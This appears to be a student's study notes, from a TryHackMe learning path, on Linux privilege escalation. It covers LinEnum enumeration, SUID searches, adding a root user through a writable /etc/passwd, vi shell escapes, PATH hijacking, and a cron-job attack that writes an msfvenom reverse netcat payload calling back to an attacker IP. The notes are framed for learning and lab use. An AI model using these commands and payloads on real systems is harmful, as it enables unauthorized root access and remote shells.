📞
Contrxl
External Links
Theoretical Learning
Theoretical Learning
  • 🏡Home
  • 📰News & Information
  • Systems Administration
    • ⌨️Cisco
      • Networking Basics
        • Communication in a Connected World
        • Network Components, Types and Connections
        • Wireless and Mobile Networks
        • Home Networking Technologies
        • Communication Protocols
        • Network Media
        • The Access Layer
        • The Internet Protocol
        • IPv4 and Network Segmentation
    • 🎓Learning Links
    • 💻Microsoft
      • AZ-900
        • 1. Cloud Concepts
          • 1.1 Describe Cloud Computing
            • 1.1.1 Introduction - Cloud Computing
            • 1.1.2 What is Cloud Computing?
            • 1.1.3 The Shared Responsibility Model
            • 1.1.4 Define Cloud Models
            • 1.1.5 Define the Consumption based Model
            • 1.1.6 Summary - Cloud Computing
          • 1.2 Describe the Benefits of Cloud Services
            • 1.2.1 Introduction - Cloud Services
            • 1.2.2 Benefits of High Availability and Scalability
            • 1.2.3 Benefits of Reliability and Predictability
            • 1.2.4 Benefits of Security and Governance
            • 1.2.5 Manageability in the Cloud
            • 1.2.6 Summary - Cloud Services
          • 1.3 Describe Cloud Service Types
            • 1.3.1 Introduction - Cloud Service Types
            • 1.3.2 Describe Infrastructure as a Service
            • 1.3.3 Describe Platform as a Service
            • 1.3.4 Describe Software as a Service
            • 1.3.5 Summary - Cloud Service Types
        • 2. Architecture
          • 2.1 Core Architectural Components
            • 2.1.1 Introduction - Core Architectural Components
            • 2.1.2 What is Microsoft Azure
            • 2.1.3 Get Started with Azure Accounts
            • 2.1.4 Explore the Learn Sandbox
            • 2.1.5 Describe Azure Physical Infrastructure
            • 2.1.6 Describe Azure Management Infrastructure
            • 2.1.7 Create an Azure Resource
            • 2.1.8 Summary
          • 2.2 Compute and Networking
            • 2.2.1 Introduction - Compute and Networking
            • 2.2.2 Describe Azure VMs
            • 2.2.3 Create an Azure VM
            • 2.2.4 Describe Azure Virtual Desktop
            • 2.2.5 Describe Azure Containers
            • 2.2.6 Describe Azure Functions
            • 2.2.7 Describe Application Hosting Options
            • 2.2.8 Describe Azure Virtual Networking
            • 2.2.9 Configure Network Access
            • 2.2.10 Describe Azure VPNs
            • 2.2.11 Describe Azure ExpressRoute
            • 2.2.12 Describe Azure DNS
            • 2.2.13 Summary - Compute and Networking
          • 2.3 Azure Storage Services
            • 2.3.1 Introduction - Storage Services
            • 2.3.2 Describe Azure Storage Accounts
            • 2.3.3 Describe Azure Storage Redundancy
            • 2.3.4 Describe Azure Storage Services
            • 2.3.5 Create a Storage Blob
            • 2.3.6 Identify Azure Data Migration Options
            • 2.3.7 Identify Azure File Movement Options
            • 2.3.8 Summary - Storage Services
        • 3. Management and Governance
          • 3.1 Cost Management
            • 3.1.1 Introduction - Cost Management
            • 3.1.2 Describe Factors that can Affect Costs in Azure
            • 3.1.3 Compare Pricing and TCO Calculators
            • 3.1.4 Estimate Workload Costs
            • 3.1.5 Compare Workload Costs with TCO
            • 3.1.6 Describe the Microsoft Cost Management Tool
            • 3.1.7 Describe the Purpose of Tags
            • 3.1.8 Summary - Cost Management
          • 3.2 Governance and Compliance
            • 3.2.1 Introduction - Compliance and Governance
            • 3.2.2 Describe the Purpose of Microsoft Purview
            • 3.2.3 Describe the Purpose of Azure Policy
            • 3.2.4 Describe the Purpose of Resource Locks
            • 3.2.5 Configure a Resource Lock
            • 3.2.6 Describe the Purpose of the Service Trust Portal
            • 3.2.7 Summary - Compliance and Governance
          • 3.3 Tools for Managing Azure Resources
            • 3.3.1 Introduction - Tools for Managing Azure Resources
            • 3.3.2 Describe Tools for Interacting with Azure
            • 3.3.3 Describe the Purpose of Azure Arc
            • 3.3.4 Describe ARM and Azure ARM Templates
            • 3.3.5 Summary - Tools for Managing Azure Resources
          • 3.4 Monitoring Tools
            • 3.4.1 Introduction - Monitoring Tools
            • 3.4.2 Describe the Purpose of Azure Advisor
            • 3.4.3 Describe Azure Service Health
            • 3.4.4 Describe Azure Monitor
    • 📘Microsoft Portal Links
  • Cybersecurity
    • ❓Anonymity Tools
    • 💡OSINT
      • IP & Domain OSINT
      • Email & Username OSINT
      • Vulnerability OSINT
    • 📚Projects
      • ‼️A Simulation Study of DDoS
  • 🦈Hacking
    • ☁️Cloud Attack Vectors
      • Credential Harvesting
      • Privilege Escalation
      • Account Takeover
      • Metadata Service Attacks
      • Misconfigured Cloud Assets
      • Resource Exhaustion and DoS
      • Cloud Malware Injection Attacks
      • Side-Channel Attacks
    • Maintaining Persistence
      • Reverse and Bind Shells
      • Command and Control (C2) Utilities
      • Scheduled Jobs, Tasks and Custom Daemons
    • 💻Network-Based Vulnerabilities
      • Windows Name Resolution and SMB
      • DNS Cache Poisoning
      • SNMP
      • SMTP
      • FTP
      • Pass-the-Hash
      • Kerberos and LDAP-Based Attacks
      • On-Path
      • Route Manipulation
      • DoS and DDoS
      • NAC Bypass
      • VLAN Hopping
      • DHCP Starvation/Rogue DHCP Server
    • Pivoting
      • Post-Exploitation Scanning
      • Legitimate Utilities and LotL
      • Privilege Escalation
    • Specialised System Vulnerabilities
      • Mobile Devices
      • Internet of Things Devices
      • Virtual Machines
      • Containerised Workloads
    • ⚒️Tools
      • Burp Suite
        • Repeater
        • Intruder
        • Other Modules
      • GoPhish
      • Hydra
      • John the Ripper
      • Metasploit
        • Exploitation
        • Meterpreter
      • NMAP
      • Wireshark
    • 🖥️TryHackMe
      • Complete Beginner
        • 1. Complete Beginner Intro
        • 2. Linux Fundamentals
        • 3. Introductory Networking
        • 3.1 Network Exploitation Basics
        • 4. OWASP Top 10 Exploits
        • 5. Upload Vulnerabilities
        • 5.1 An Example Methodology
        • 6. Cryptography - Hashing
        • 7. Cryptography - Encryption
        • 8. Active Directory Basics
        • 9. What the Shell?
        • 10. Linux Privesc
        • 11. More Linux Privesc
      • Jr Penetration Tester
        • Walking an Application
        • Content Discovery
        • Subdomain Enumeration
        • Authentication Bypass
        • IDOR
        • File Inclusion
        • SSRF
        • XSS (Cross-site Scripting)
        • Command Injection
        • SQL Injection
        • Passive Reconnaissance
        • Active Reconnaissance
        • Protocols and Servers
        • Protocol and Server Attacks
        • Vulnerabilities
        • Exploiting Vulnerabilities
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • CompTIA Pentest+
        • Planning and Scoping
          • Pentesting Fundamentals
          • Red Team Engagements
          • Governance and Regulation
        • Tools and Code Analysis
          • Metasploit: Introduction
          • Wireshark: The Basics
          • Burp Suite: The Basics
          • Hydra
          • Python Basics
        • Attacks and Exploits
          • Phishing
          • Windows Local Persistence
          • Breaching Active Directory
          • Lateral Movement & Pivoting
    • Web Application Vulnerabilities
      • The HTTP Protocol
      • Business Logic Flaws
      • Injection-Based Vulnerabilities
      • Authentication-Based Vulnerabilities
      • Authorisation-Based Vulnerabilities
      • Cross-Site Scripting (XSS)
      • Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery (SSRF)
      • Clickjacking
      • Security Misconfigurations
      • File Inclusion Vulnerabilities
      • Insecure Coding Practices
    • Wireless Vulnerabilities
      • Rogue Access Point/Evil Twin
      • Disassociation/Deauthentication
      • Preferred Network List Attack
      • Wireless Signal Jamming
      • War Driving
      • Initialization Vector (IV) and Insecure Wireless Protocol
      • KARMA
      • Fragmentation Attacks
      • Credential Harvesting
      • Bluejacking and Bluesnarfing
      • RFID Attacks
Powered by GitBook
On this page
  • Introduction
  • LinEnum
  • SUID/GUID Files
  • Exploiting Writable /etc/passwd
  • Escaping Vi
  • Exploiting Crontab
  • Exploiting PATH Variable
  1. Hacking
  2. TryHackMe
  3. Complete Beginner

10. Linux Privesc

Tenth section in Complete Beginner learning path.

Last updated 4 months ago

Introduction

There are two main privilege escalation variants: horizontal and vertical.

Horizontal privilege escalation is where you reach over the system you are currently in by taking over different users on the same privilege level. For example, hijacking another normal user when you are logged in as a normal user. This allows you to inherit files from different users, this can be used to gain access to other users who may have files which have SUID bits on them to get super user access.

Vertical privilege escalation is where you attempt to gain higher privileges with an existing compromised account. This might mean hijacking an account with admin or root access.

LinEnum

LinEnum can be downloaded .

To get LinEnum on a target machine, you can run python3 -m http.server 8000 from the directory LinEnum is saved, and then use wget [IP_ADDR]/LinEnum.sh on the target. Then you need to make it executable using chmod +x LinEnum.sh. If this is not possible, you could also paste the raw code into Vi or Nano, then save it with the .sh extension. Again, you will need to make this executable.

LinEnum can be run using ./LinEnum.sh. The output this gives is broken down into a few different sections:

  • Kernel : shows kernel info.

  • Can we read/write sensitive files : shows world-writeable files, this allows you to check for misconfigurations

  • SUID files : shows SUID bit files, allows a file to run as root (if root is the owner)

  • Crontab Contents : shows scheduled cron jobs

SUID/GUID Files

Maximum privileges on Linux appear as "rwx-rwx-rwx" (r: read, w: write, x: execute). This appears in terminal like:

Users
Group
Others

rwx

rwx

rwx

421

421

421

The max number of bits that can be set for each group is 7 (a combination of 4+2+1 for read, write, execute). For example, permissions set using chmod 755 would be rwxr-xr-x. When special permission is given to a user it becomes SUID or SGID. When extra bit "4" is set to user, it becomes SUID (set user ID), and when bit "2" is set to group it becomes SGID (Set group ID). When looking for these you should look out for:

  • SUID : rws-rwx-rwx

  • GUID : rwx-rws-rwx

To search for SUID binaries manually we can use:

find / -perm -u=s -type f 2>/dev/null
  • find: initiates find command

  • /: searches the whole system

  • -perm: searches for user with specific permissions

  • -us=s: any permission bits mode are set for file

  • -type f: only search for files

  • >2/dev/null: suppress errors

Exploiting Writable /etc/passwd

The /etc/passwd file stores essential info which is required during login, the /etc/passwd is a plaintext file. It lists system accounts, giving info like user ID, group ID, home directory, shell and more.

The /etc/passwd file should have general read permission as its used by many command utilities, however, it should only be writable for root/super user. The file contains one entry per line for each user account of the system. All fields are separated by a ":" symbol. A total of seven files like:

test:x:0:0:root:/root:/bin/bash

These fields from left to right are:

  1. Username: used when user logs in, between 1 and 32 chars.

  2. Password: an x character indicates an encrypted password is stored in /etc/shadow. You need to use the passwd command to compute the hash of a password typed at CLI or update the hash of a password in /etc/shadow. In this case, the password hash is stored as an "x".

  3. User ID (UID): each user is assigned a user ID, UID 0 is reserved for root and UIDs 1-99 are reserved for other predefined accounts. UIDs 100-999 are reserved for other admin/system accounts.

  4. Group ID (GID): primary group ID (stored in /etc/group).

  5. User ID Info: comment field, used to add extra info like a name or number.

  6. Home Directory: absolute path to the users home directory when they log in.

  7. Command/shell: absolute path of a command or shell, typically this is a shell but it does not have to be.

If /etc/passwd is writable we can simply write a new line entry using this formula and make a new user, we add our own password hash of choice, and set the UID & GID to 0 for root. We can create a compliant password hash using:

openssl passwd -1 -salt [salt] [password]

Escaping Vi

If Vi can be ran as sudo, you can enter :!sh and press enter to open a shell as root.

Exploiting Crontab

We can use cat /etc/crontab to see what cron jobs are running or scheduled to run. This can be exploited in situations where a file that we can write to is being automatically run as root. For example, we could write the payload acquired from:

msfvenom -p cmd/unix/reverse_netcat lhost=[IP] lport=[PORT] R

To a file being run as root, then all we would need to do is start a listener on the same port and wait for the cron job to run the file we wrote our payload to.

Exploiting PATH Variable

The PATH variable specifies directories which hold executable programs, when the user runs any command it searches for executable files using the PATH variable. If we have an SUID binary running a basic process like "ps", we can't exploit this by giving it an argument for command injection. Instead, we can re-write the PATH variable to point to a location we choose, when the SUID calls the system to run an executable, it runs one we wrote instead.

If we create a command inside /tmp to open a bash shell when "ls" is run, it would look like:

echo "/bin/bash" > ls

We then make it executable with chmod +x ls and change the PATH variable to point to the directory we stored the command in using:

export PATH=/tmp:$PATH

Now, when we run "ls", it spawns a bash shell. If we had a script running "ls" as root, we could run it to become root.

Each time you access an account in a CTF, you should use sudo -l to see which commands you can run as super user on that account. If a misconfigured binary is encountered during enumeration you can use to find out how they can be exploited. This is a list of Unix binaries that can be exploited to bypass security restrictions.

🦈
🖥️
here
GTFOBins